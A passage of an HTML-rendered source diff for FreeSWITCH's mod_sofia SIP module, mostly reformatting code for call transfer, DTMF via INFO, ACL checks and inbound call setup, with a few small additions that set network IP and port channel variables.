-                                                                                        TAG_END());
-                                                                
</del><ins>+                                                                                        TAG_IF(!zstr(tech_pvt-&gt;user_via), SIPTAG_VIA_STR(tech_pvt-&gt;user_via)), TAG_END());
+
</ins><span class="cx">                                                                 }
</span><span class="cx">                                                         } else {
</span><span class="cx">                                                                 nua_notify(tech_pvt-&gt;nh, NUTAG_NEWSUB(1), SIPTAG_CONTENT_TYPE_STR(&quot;message/sipfrag;version=2.0&quot;),
</span><span class="lines">@@ -5070,34 +5088,35 @@
</span><span class="cx"> 
</span><span class="cx">                                                 } else if (br_a &amp;&amp; br_b) {
</span><span class="cx">                                                         switch_core_session_t *tmp = NULL;
</span><del>-                                                        
-                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, &quot;Attended Transfer [%s][%s]\n&quot;, 
-                                                                                          switch_str_nil(br_a),
-                                                                                          switch_str_nil(br_b));
</del><span class="cx"> 
</span><ins>+                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, &quot;Attended Transfer [%s][%s]\n&quot;,
+                                                                                          switch_str_nil(br_a), switch_str_nil(br_b));
+
</ins><span class="cx">                                                         if ((profile-&gt;media_options &amp; MEDIA_OPT_BYPASS_AFTER_ATT_XFER) &amp;&amp; (tmp = switch_core_session_locate(br_b))) {
</span><span class="cx">                                                                 switch_channel_t *tchannel = switch_core_session_get_channel(tmp);
</span><span class="cx">                                                                 switch_channel_set_flag(tchannel, CF_BYPASS_MEDIA_AFTER_BRIDGE);
</span><span class="cx">                                                                 switch_core_session_rwunlock(tmp);
</span><span class="cx">                                                         }
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         switch_ivr_uuid_bridge(br_b, br_a);
</span><span class="cx">                                                         switch_channel_set_variable(channel_b, SWITCH_ENDPOINT_DISPOSITION_VARIABLE, &quot;ATTENDED_TRANSFER&quot;);
</span><span class="cx">                                                         nua_notify(tech_pvt-&gt;nh, NUTAG_NEWSUB(1), SIPTAG_CONTENT_TYPE_STR(&quot;message/sipfrag;version=2.0&quot;),
</span><del>-                                                                           NUTAG_SUBSTATE(nua_substate_terminated), SIPTAG_PAYLOAD_STR(&quot;SIP/2.0 200 OK\r\n&quot;), SIPTAG_EVENT_STR(etmp), TAG_END());
</del><ins>+                                                                           NUTAG_SUBSTATE(nua_substate_terminated), SIPTAG_PAYLOAD_STR(&quot;SIP/2.0 200 OK\r\n&quot;), SIPTAG_EVENT_STR(etmp),
+                                                                           TAG_END());
</ins><span class="cx"> 
</span><span class="cx">                                                         sofia_clear_flag_locked(b_tech_pvt, TFLAG_SIP_HOLD);
</span><span class="cx">                                                         switch_channel_clear_flag(channel_b, CF_LEG_HOLDING);
</span><span class="cx">                                                         sofia_clear_flag_locked(tech_pvt, TFLAG_HOLD_LOCK);
</span><span class="cx">                                                         switch_channel_set_variable(channel_b, &quot;park_timeout&quot;, &quot;2&quot;);
</span><span class="cx">                                                         switch_channel_set_state(channel_b, CS_PARK);
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                 } else {
</span><span class="cx">                                                         if (!br_a &amp;&amp; !br_b) {
</span><del>-                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;Cannot transfer channels that are not in a bridge.\n&quot;);
</del><ins>+                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
+                                                                                                  &quot;Cannot transfer channels that are not in a bridge.\n&quot;);
</ins><span class="cx">                                                                 nua_notify(tech_pvt-&gt;nh, NUTAG_NEWSUB(1), SIPTAG_CONTENT_TYPE_STR(&quot;message/sipfrag;version=2.0&quot;),
</span><del>-                                                                                   NUTAG_SUBSTATE(nua_substate_terminated),
-                                                                                   SIPTAG_PAYLOAD_STR(&quot;SIP/2.0 403 Forbidden\r\n&quot;), SIPTAG_EVENT_STR(etmp), TAG_END());
</del><ins>+                                                                                   NUTAG_SUBSTATE(nua_substate_terminated), SIPTAG_PAYLOAD_STR(&quot;SIP/2.0 403 Forbidden\r\n&quot;),
+                                                                                   SIPTAG_EVENT_STR(etmp), TAG_END());
</ins><span class="cx">                                                         } else {
</span><span class="cx">                                                                 switch_core_session_t *t_session;
</span><span class="cx">                                                                 switch_channel_t *hup_channel;
</span><span class="lines">@@ -5129,13 +5148,13 @@
</span><span class="cx">                                                                         if (!zstr(full_ref_to)) {
</span><span class="cx">                                                                                 switch_channel_set_variable(t_channel, SOFIA_REFER_TO_VARIABLE, full_ref_to);
</span><span class="cx">                                                                         }
</span><del>-                                                                        
</del><ins>+
</ins><span class="cx">                                                                         if (idest) {
</span><span class="cx">                                                                                 switch_ivr_session_transfer(t_session, idest, &quot;inline&quot;, NULL);
</span><span class="cx">                                                                         } else {
</span><span class="cx">                                                                                 switch_ivr_session_transfer(t_session, ext, NULL, NULL);
</span><span class="cx">                                                                         }
</span><del>-                                                                        
</del><ins>+
</ins><span class="cx">                                                                         nua_notify(tech_pvt-&gt;nh,
</span><span class="cx">                                                                                            NUTAG_NEWSUB(1),
</span><span class="cx">                                                                                            SIPTAG_CONTENT_TYPE_STR(&quot;message/sipfrag;version=2.0&quot;),
</span><span class="lines">@@ -5170,27 +5189,27 @@
</span><span class="cx">                                                         }
</span><span class="cx"> 
</span><span class="cx">                                                         channel = switch_core_session_get_channel(a_session);
</span><del>-                                                        
-                                                        exten = switch_core_session_sprintf(session, &quot;sofia/%s/sip:%s@%s%s%s&quot;, 
-                                                                                                                                profile-&gt;name, refer_to-&gt;r_url-&gt;url_user, 
-                                                                                                                                refer_to-&gt;r_url-&gt;url_host,
-                                                                                                                                port ? &quot;:&quot; : &quot;&quot;, port ? port : &quot;&quot;);
</del><span class="cx"> 
</span><ins>+                                                        exten = switch_core_session_sprintf(session, &quot;sofia/%s/sip:%s@%s%s%s&quot;,
+                                                                                                                                profile-&gt;name, refer_to-&gt;r_url-&gt;url_user,
+                                                                                                                                refer_to-&gt;r_url-&gt;url_host, port ? &quot;:&quot; : &quot;&quot;, port ? port : &quot;&quot;);
+
</ins><span class="cx">                                                         switch_core_new_memory_pool(&amp;npool);
</span><span class="cx">                                                         nightmare_xfer_helper = switch_core_alloc(npool, sizeof(*nightmare_xfer_helper));
</span><span class="cx">                                                         nightmare_xfer_helper-&gt;exten = switch_core_strdup(npool, exten);
</span><span class="cx"> 
</span><del>-                                                        if (refer_to-&gt;r_url &amp;&amp; (refer_to-&gt;r_url-&gt;url_params || refer_to-&gt;r_url-&gt;url_headers) ) {
</del><ins>+                                                        if (refer_to-&gt;r_url &amp;&amp; (refer_to-&gt;r_url-&gt;url_params || refer_to-&gt;r_url-&gt;url_headers)) {
</ins><span class="cx">                                                                 if (refer_to-&gt;r_url-&gt;url_headers) {
</span><del>-                                                                        nightmare_xfer_helper-&gt;exten_with_params = switch_core_sprintf(npool, 
-                                                                                &quot;{sip_invite_params=%s?%s}%s&quot;, refer_to-&gt;r_url-&gt;url_params ? refer_to-&gt;r_url-&gt;url_params : &quot;&quot;, 
-                                                                                refer_to-&gt;r_url-&gt;url_headers, exten);
</del><ins>+                                                                        nightmare_xfer_helper-&gt;exten_with_params = switch_core_sprintf(npool,
+                                                                                                                                                                                                   &quot;{sip_invite_params=%s?%s}%s&quot;,
+                                                                                                                                                                                                   refer_to-&gt;r_url-&gt;url_params ? refer_to-&gt;r_url-&gt;
+                                                                                                                                                                                                   url_params : &quot;&quot;, refer_to-&gt;r_url-&gt;url_headers, exten);
</ins><span class="cx">                                                                 } else {
</span><del>-                                                                        nightmare_xfer_helper-&gt;exten_with_params = switch_core_sprintf(npool, 
-                                                                                &quot;{sip_invite_params=%s}%s&quot;, refer_to-&gt;r_url-&gt;url_params, exten);
</del><ins>+                                                                        nightmare_xfer_helper-&gt;exten_with_params = switch_core_sprintf(npool,
+                                                                                                                                                                                                   &quot;{sip_invite_params=%s}%s&quot;, refer_to-&gt;r_url-&gt;url_params,
+                                                                                                                                                                                                   exten);
</ins><span class="cx">                                                                 }
</span><del>-                                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;INVITE RURI '%s'\n&quot;, 
-                                                                        nightmare_xfer_helper-&gt;exten_with_params);
</del><ins>+                                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;INVITE RURI '%s'\n&quot;, nightmare_xfer_helper-&gt;exten_with_params);
</ins><span class="cx">                                                         } else {
</span><span class="cx">                                                                 nightmare_xfer_helper-&gt;exten_with_params = nightmare_xfer_helper-&gt;exten;
</span><span class="cx">                                                         }
</span><span class="lines">@@ -5204,25 +5223,26 @@
</span><span class="cx">                                                                 char *h, *v, *hp;
</span><span class="cx">                                                                 p = switch_core_session_strdup(session, refer_to-&gt;r_url-&gt;url_headers);
</span><span class="cx">                                                                 while (p &amp;&amp; *p) {
</span><del>-                                                                        h = p;   
</del><ins>+                                                                        h = p;
</ins><span class="cx">                                                                         if ((p = strchr(p, '='))) {
</span><span class="cx">                                                                                 *p++ = '\0';
</span><span class="cx">                                                                                 v = p;
</span><span class="cx">                                                                                 if ((p = strchr(p, '&amp;'))) {
</span><span class="cx">                                                                                         *p++ = '\0';
</span><span class="cx">                                                                                 }
</span><del>-                                                                                 
-                                                                                url_unescape(h, (const char *)h);
-                                                                                url_unescape(v, (const char *)v);
-                                                                                if (strcasecmp(&quot;Replaces&quot;,h)) {  
</del><ins>+
+                                                                                url_unescape(h, (const char *) h);
+                                                                                url_unescape(v, (const char *) v);
+                                                                                if (strcasecmp(&quot;Replaces&quot;, h)) {
</ins><span class="cx">                                                                                         hp = switch_core_session_sprintf(session, &quot;%s%s&quot;, SOFIA_SIP_HEADER_PREFIX, h);
</span><span class="cx">                                                                                         switch_channel_set_variable(channel, hp, v);
</span><span class="cx">                                                                                 } else {
</span><span class="cx">                                                                                         // use this one instead of rep value from above to keep all parameters
</span><span class="cx">                                                                                         switch_channel_set_variable(channel, SOFIA_REPLACES_HEADER, v);
</span><span class="cx">                                                                                 }
</span><del>-                                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Exporting replaces URL header [%s:%s]\n&quot;, h, v);
-                                                                        } 
</del><ins>+                                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Exporting replaces URL header [%s:%s]\n&quot;,
+                                                                                                                  h, v);
+                                                                        }
</ins><span class="cx">                                                                 }
</span><span class="cx">                                                         }
</span><span class="cx"> 
</span><span class="lines">@@ -5235,8 +5255,8 @@
</span><span class="cx">                                                         } else {
</span><span class="cx">                                                                 switch_event_add_header_string(nightmare_xfer_helper-&gt;vars, SWITCH_STACK_BOTTOM, SOFIA_REPLACES_HEADER, rep);
</span><span class="cx">                                                         }
</span><del>-                                                        
-        
</del><ins>+
+
</ins><span class="cx">                                                         if (!zstr(full_ref_by)) {
</span><span class="cx">                                                                 switch_event_add_header_string(nightmare_xfer_helper-&gt;vars, SWITCH_STACK_BOTTOM, &quot;Referred-By&quot;, full_ref_by);
</span><span class="cx">                                                         }
</span><span class="lines">@@ -5247,7 +5267,7 @@
</span><span class="cx"> 
</span><span class="cx">                                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Good Luck, you'll need it......\n&quot;);
</span><span class="cx">                                                         launch_nightmare_xfer(nightmare_xfer_helper);
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         switch_core_session_rwunlock(a_session);
</span><span class="cx"> 
</span><span class="cx">                                                 } else {
</span><span class="lines">@@ -5344,9 +5364,12 @@
</span><span class="cx">                                         signal_ptr = signal_ptr + 7;
</span><span class="cx"> 
</span><span class="cx">                                         /* handle broken devices with spaces after the = (cough) VegaStream (cough) */
</span><del>-                                        while (*signal_ptr &amp;&amp; *signal_ptr == ' ') signal_ptr++;
</del><ins>+                                        while (*signal_ptr &amp;&amp; *signal_ptr == ' ')
+                                                signal_ptr++;
</ins><span class="cx"> 
</span><del>-                                        if (*signal_ptr &amp;&amp; (*signal_ptr == '*' || *signal_ptr == '#' || *signal_ptr == 'A' || *signal_ptr == 'B' || *signal_ptr == 'C' || *signal_ptr == 'D')) {
</del><ins>+                                        if (*signal_ptr
+                                                &amp;&amp; (*signal_ptr == '*' || *signal_ptr == '#' || *signal_ptr == 'A' || *signal_ptr == 'B' || *signal_ptr == 'C'
+                                                        || *signal_ptr == 'D')) {
</ins><span class="cx">                                                 dtmf.digit = *signal_ptr;
</span><span class="cx">                                         } else {
</span><span class="cx">                                                 tmp = atoi(signal_ptr);
</span><span class="lines">@@ -5362,8 +5385,9 @@
</span><span class="cx">                                         signal_ptr += 9;
</span><span class="cx"> 
</span><span class="cx">                                         /* handle broken devices with spaces after the = (cough) VegaStream (cough) */
</span><del>-                                        while (*signal_ptr &amp;&amp; *signal_ptr == ' ') signal_ptr++;
-                                        
</del><ins>+                                        while (*signal_ptr &amp;&amp; *signal_ptr == ' ')
+                                                signal_ptr++;
+
</ins><span class="cx">                                         if ((tmp = atoi(signal_ptr)) &lt;= 0) {
</span><span class="cx">                                                 tmp = switch_core_default_dtmf_duration(0);
</span><span class="cx">                                         }
</span><span class="lines">@@ -5384,11 +5408,11 @@
</span><span class="cx"> 
</span><span class="cx">                                 /* print debug info */
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;INFO DTMF(%c)\n&quot;, dtmf.digit);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (switch_channel_test_flag(channel, CF_PROXY_MODE)) {
</span><span class="cx">                                         const char *uuid;
</span><span class="cx">                                         switch_core_session_t *session_b;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE)) &amp;&amp; (session_b = switch_core_session_locate(uuid))) {
</span><span class="cx">                                                 while (switch_channel_has_dtmf(channel)) {
</span><span class="cx">                                                         switch_dtmf_t idtmf = { 0, 0 };
</span><span class="lines">@@ -5429,7 +5453,8 @@
</span><span class="cx">                                         file = switch_channel_expand_variables(channel, tmp);
</span><span class="cx">                                         switch_ivr_record_session(session, file, 0, NULL);
</span><span class="cx">                                         switch_channel_set_variable(channel, &quot;sofia_record_file&quot;, file);
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, &quot;Recording %s to %s\n&quot;, switch_channel_get_name(channel), file);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, &quot;Recording %s to %s\n&quot;, switch_channel_get_name(channel),
+                                                                          file);
</ins><span class="cx">                                         switch_safe_free(tmp);
</span><span class="cx">                                         nua_respond(nh, SIP_200_OK, NUTAG_WITH_THIS(nua), TAG_END());
</span><span class="cx">                                         if (file != profile-&gt;record_template) {
</span><span class="lines">@@ -5440,7 +5465,8 @@
</span><span class="cx">                                         const char *file;
</span><span class="cx"> 
</span><span class="cx">                                         if ((file = switch_channel_get_variable(channel, &quot;sofia_record_file&quot;))) {
</span><del>-                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, &quot;Done recording %s to %s\n&quot;, switch_channel_get_name(channel), file);
</del><ins>+                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, &quot;Done recording %s to %s\n&quot;,
+                                                                                  switch_channel_get_name(channel), file);
</ins><span class="cx">                                                 switch_ivr_stop_record_session(session, file);
</span><span class="cx">                                                 nua_respond(nh, SIP_200_OK, NUTAG_WITH_THIS(nua), TAG_END());
</span><span class="cx">                                         } else {
</span><span class="lines">@@ -5451,7 +5477,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         if (sip &amp;&amp; switch_event_create(&amp;event, SWITCH_EVENT_RECV_INFO) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -5494,7 +5520,8 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">                 if (sip-&gt;sip_call_info) {
</span><del>-                        switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;Call-Info&quot;, sip_header_as_string(nua_handle_home(nh), (void *) sip-&gt;sip_call_info));
</del><ins>+                        switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;Call-Info&quot;,
+                                                                                   sip_header_as_string(nua_handle_home(nh), (void *) sip-&gt;sip_call_info));
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if (alert_info) {
</span><span class="lines">@@ -5516,8 +5543,9 @@
</span><span class="cx"> 
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-void sofia_handle_sip_i_reinvite(switch_core_session_t *session, 
-                                                           nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip, tagi_t tags[])
</del><ins>+void sofia_handle_sip_i_reinvite(switch_core_session_t *session,
+                                                                 nua_t *nua, sofia_profile_t *profile, nua_handle_t *nh, sofia_private_t *sofia_private, sip_t const *sip,
+                                                                 tagi_t tags[])
</ins><span class="cx"> {
</span><span class="cx">         char *call_info = NULL;
</span><span class="cx"> 
</span><span class="lines">@@ -5529,7 +5557,7 @@
</span><span class="cx">                                 if (switch_stristr(&quot;appearance&quot;, call_info)) {
</span><span class="cx">                                         switch_channel_set_variable(channel, &quot;presence_call_info_full&quot;, call_info);
</span><span class="cx">                                         if ((p = strchr(call_info, ';'))) {
</span><del>-                                                switch_channel_set_variable(channel, &quot;presence_call_info&quot;, p+1);
</del><ins>+                                                switch_channel_set_variable(channel, &quot;presence_call_info&quot;, p + 1);
</ins><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">                                 su_free(nua_handle_home(nh), call_info);
</span><span class="lines">@@ -5592,7 +5620,7 @@
</span><span class="cx">                 goto fail;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        sofia_glue_get_addr(nua_current_request(nua), network_ip,  sizeof(network_ip), &amp;network_port);
</del><ins>+        sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &amp;network_port);
</ins><span class="cx"> 
</span><span class="cx">         if (sofia_test_pflag(profile, PFLAG_AGGRESSIVE_NAT_DETECTION)) {
</span><span class="cx">                 if (sip &amp;&amp; sip-&gt;sip_via) {
</span><span class="lines">@@ -5632,7 +5660,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (profile-&gt;acl_count) {
</span><span class="cx">                 uint32_t x = 0;
</span><span class="cx">                 int ok = 1;
</span><span class="lines">@@ -5661,15 +5689,12 @@
</span><span class="cx">                         if (profile-&gt;proxy_acl_count) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;%d acls to check for proxy\n&quot;, profile-&gt;proxy_acl_count);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         for (x = 0; x &lt; profile-&gt;proxy_acl_count; x++) {
</span><span class="cx">                                 last_acl = profile-&gt;proxy_acl[x];
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;checking %s against acl %s\n&quot;, network_ip, last_acl);
</span><span class="cx">                                 if (switch_check_network_list_ip_token(network_ip, last_acl, &amp;token)) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO,
-                                                                          &quot;%s is a proxy according to the %s acl\n&quot;,
-                                                                          network_ip, last_acl
-                                                                          );
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, &quot;%s is a proxy according to the %s acl\n&quot;, network_ip, last_acl);
</ins><span class="cx">                                         network_ip_is_proxy = 1;
</span><span class="cx">                                         break;
</span><span class="cx">                                 }
</span><span class="lines">@@ -5680,18 +5705,15 @@
</span><span class="cx">                          */
</span><span class="cx">                         if (network_ip_is_proxy) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;network ip is a proxy\n&quot;);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 for (un = sip-&gt;sip_unknown; un; un = un-&gt;un_next) {
</span><span class="cx">                                         if (!strcasecmp(un-&gt;un_name, &quot;X-AUTH-IP&quot;)) {
</span><del>-                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
-                                                                                  &quot;found auth ip [%s] header of [%s]\n&quot;,
-                                                                                  un-&gt;un_name, un-&gt;un_value
-                                                                                  );
</del><ins>+                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;found auth ip [%s] header of [%s]\n&quot;, un-&gt;un_name, un-&gt;un_value);
</ins><span class="cx">                                                 if (!zstr(un-&gt;un_value)) {
</span><span class="cx">                                                         for (x = 0; x &lt; profile-&gt;acl_count; x++) {
</span><span class="cx">                                                                 last_acl = profile-&gt;acl[x];
</span><span class="cx">                                                                 if ((ok = switch_check_network_list_ip_token(un-&gt;un_value, last_acl, &amp;token))) {
</span><del>-                                                                        switch_copy_string(proxied_client_ip, un-&gt;un_value, sizeof (proxied_client_ip));
</del><ins>+                                                                        switch_copy_string(proxied_client_ip, un-&gt;un_value, sizeof(proxied_client_ip));
</ins><span class="cx">                                                                         break;
</span><span class="cx">                                                                 }
</span><span class="cx">                                                         }
</span><span class="lines">@@ -5699,7 +5721,7 @@
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!ok) {
</span><span class="cx">                                 if (!sofia_test_pflag(profile, PFLAG_AUTH_CALLS)) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;IP %s Rejected by acl \&quot;%s\&quot;\n&quot;, network_ip, switch_str_nil(last_acl));
</span><span class="lines">@@ -5723,7 +5745,8 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (!is_auth &amp;&amp;
</span><del>-                (sofia_test_pflag(profile, PFLAG_AUTH_CALLS) || (!sofia_test_pflag(profile, PFLAG_BLIND_AUTH) &amp;&amp; (sip-&gt;sip_proxy_authorization || sip-&gt;sip_authorization)))) {
</del><ins>+                (sofia_test_pflag(profile, PFLAG_AUTH_CALLS)
+                 || (!sofia_test_pflag(profile, PFLAG_BLIND_AUTH) &amp;&amp; (sip-&gt;sip_proxy_authorization || sip-&gt;sip_authorization)))) {
</ins><span class="cx">                 if (!strcmp(network_ip, profile-&gt;sipip) &amp;&amp; network_port == profile-&gt;sip_port) {
</span><span class="cx">                         calling_myself++;
</span><span class="cx">                 } else {
</span><span class="lines">@@ -5731,7 +5754,7 @@
</span><span class="cx">                                 if (v_event) {
</span><span class="cx">                                         switch_event_destroy(&amp;v_event);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (sip-&gt;sip_authorization || sip-&gt;sip_proxy_authorization) {
</span><span class="cx">                                         goto fail;
</span><span class="cx">                                 }
</span><span class="lines">@@ -5771,6 +5794,9 @@
</span><span class="cx"> 
</span><span class="cx">         channel = tech_pvt-&gt;channel = switch_core_session_get_channel(session);
</span><span class="cx"> 
</span><ins>+        switch_channel_set_variable_printf(channel, &quot;sip_network_ip&quot;, &quot;%s&quot;, network_ip);
+        switch_channel_set_variable_printf(channel, &quot;sip_network_port&quot;, &quot;%d&quot;, network_port);
+
</ins><span class="cx">         if (*acl_token) {
</span><span class="cx">                 switch_channel_set_variable(channel, &quot;acl_token&quot;, acl_token);
</span><span class="cx">                 if (strchr(acl_token, '@')) {
</span><span class="lines">@@ -5790,13 +5816,9 @@
</span><span class="cx"> 
</span><span class="cx">                 tech_pvt-&gt;record_route =
</span><span class="cx">                         switch_core_session_sprintf(session,
</span><del>-                        &quot;sip:%s@%s%s%s:%d;transport=%s&quot;,
-                        sip-&gt;sip_contact-&gt;m_url-&gt;url_user,
-                        ipv6 ? &quot;[&quot; : &quot;&quot;,
-                        tech_pvt-&gt;remote_ip,
-                        ipv6 ? &quot;]&quot; : &quot;&quot;,
-                        tech_pvt-&gt;remote_port,
-                        sofia_glue_transport2str(transport));
</del><ins>+                                                                                &quot;sip:%s@%s%s%s:%d;transport=%s&quot;,
+                                                                                sip-&gt;sip_contact-&gt;m_url-&gt;url_user,
+                                                                                ipv6 ? &quot;[&quot; : &quot;&quot;, tech_pvt-&gt;remote_ip, ipv6 ? &quot;]&quot; : &quot;&quot;, tech_pvt-&gt;remote_port, sofia_glue_transport2str(transport));
</ins><span class="cx"> 
</span><span class="cx">                 switch_channel_set_variable(channel, &quot;sip_received_ip&quot;, tech_pvt-&gt;remote_ip);
</span><span class="cx">                 snprintf(tmp, sizeof(tmp), &quot;%d&quot;, tech_pvt-&gt;remote_port);
</span><span class="lines">@@ -5830,7 +5852,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (sip-&gt;sip_from &amp;&amp; sip-&gt;sip_from-&gt;a_url) {
</span><del>-                char * tmp;
</del><ins>+                char *tmp;
</ins><span class="cx">                 from_user = sip-&gt;sip_from-&gt;a_url-&gt;url_user;
</span><span class="cx">                 from_host = sip-&gt;sip_from-&gt;a_url-&gt;url_host;
</span><span class="cx">                 channel_name = url_set_chanvars(session, sip-&gt;sip_from-&gt;a_url, sip_from);
</span><span class="lines">@@ -5868,7 +5890,7 @@
</span><span class="cx"> 
</span><span class="cx">         if ((rpid = sip_remote_party_id(sip))) {
</span><span class="cx">                 if (rpid-&gt;rpid_url &amp;&amp; rpid-&gt;rpid_url-&gt;url_user) {
</span><del>-                        char *full_rpid_header = sip_header_as_string(nh-&gt;nh_home, (void *) rpid); 
</del><ins>+                        char *full_rpid_header = sip_header_as_string(nh-&gt;nh_home, (void *) rpid);
</ins><span class="cx">                         from_user = rpid-&gt;rpid_url-&gt;url_user;
</span><span class="cx">                         if (!zstr(full_rpid_header)) {
</span><span class="cx">                                 switch_channel_set_variable(channel, &quot;sip_Remote-Party-ID&quot;, full_rpid_header);
</span><span class="lines">@@ -5904,7 +5926,7 @@
</span><span class="cx">                         if (!zstr(full_ppid_header)) {
</span><span class="cx">                                 switch_channel_set_variable(channel, &quot;sip_P-Preferred-Identity&quot;, full_ppid_header);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 }
</span><span class="cx">                 if (!zstr(ppreferred-&gt;ppid_display)) {
</span><span class="cx">                         displayname = ppreferred-&gt;ppid_display;
</span><span class="lines">@@ -5917,6 +5939,8 @@
</span><span class="cx">                 check_decode(from_user, session);
</span><span class="cx">         }
</span><span class="cx"> 
</span><ins>+        extract_header_vars(profile, sip, session);
+
</ins><span class="cx">         if (sip-&gt;sip_request-&gt;rq_url) {
</span><span class="cx">                 const char *req_uri = url_set_chanvars(session, sip-&gt;sip_request-&gt;rq_url, sip_req);
</span><span class="cx">                 if (sofia_test_pflag(profile, PFLAG_FULL_ID)) {
</span><span class="lines">@@ -5937,13 +5961,13 @@
</span><span class="cx">         if (!destination_number &amp;&amp; sip-&gt;sip_from &amp;&amp; sip-&gt;sip_from-&gt;a_url) {
</span><span class="cx">                 destination_number = sip-&gt;sip_from-&gt;a_url-&gt;url_user;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (destination_number) {
</span><span class="cx">                 check_decode(destination_number, session);
</span><span class="cx">         } else {
</span><span class="cx">                 destination_number = &quot;service&quot;;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (sip-&gt;sip_to &amp;&amp; sip-&gt;sip_to-&gt;a_url) {
</span><span class="cx">                 const char *host, *user;
</span><span class="cx">                 int port;
</span><span class="lines">@@ -5962,7 +5986,7 @@
</span><span class="cx">                 if (switch_channel_get_variable(channel, &quot;sip_to_uri&quot;)) {
</span><span class="cx">                         const char *ipv6;
</span><span class="cx">                         const char *tmp, *at, *url = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         host = switch_channel_get_variable(channel, &quot;sip_to_host&quot;);
</span><span class="cx">                         user = switch_channel_get_variable(channel, &quot;sip_to_user&quot;);
</span><span class="cx"> 
</span><span class="lines">@@ -5981,20 +6005,17 @@
</span><span class="cx">                         ipv6 = strchr(host, ':');
</span><span class="cx">                         tech_pvt-&gt;to_uri =
</span><span class="cx">                                 switch_core_session_sprintf(session,
</span><del>-                                        &quot;sip:%s@%s%s%s:%d;transport=%s&quot;,
-                                        user, ipv6 ? &quot;[&quot; : &quot;&quot;,
-                                        host, ipv6 ? &quot;]&quot; : &quot;&quot;,
-                                        port,
-                                        sofia_glue_transport2str(transport));
</del><ins>+                                                                                        &quot;sip:%s@%s%s%s:%d;transport=%s&quot;,
+                                                                                        user, ipv6 ? &quot;[&quot; : &quot;&quot;, host, ipv6 ? &quot;]&quot; : &quot;&quot;, port, sofia_glue_transport2str(transport));
</ins><span class="cx"> 
</span><span class="cx">                         if (sofia_glue_check_nat(profile, tech_pvt-&gt;remote_ip)) {
</span><span class="cx">                                 url = (sofia_glue_transport_has_tls(transport)) ? profile-&gt;tls_public_url : profile-&gt;public_url;
</span><del>-                        } else { 
</del><ins>+                        } else {
</ins><span class="cx">                                 url = (sofia_glue_transport_has_tls(transport)) ? profile-&gt;tls_url : profile-&gt;url;
</span><del>-                        }                        
-                        
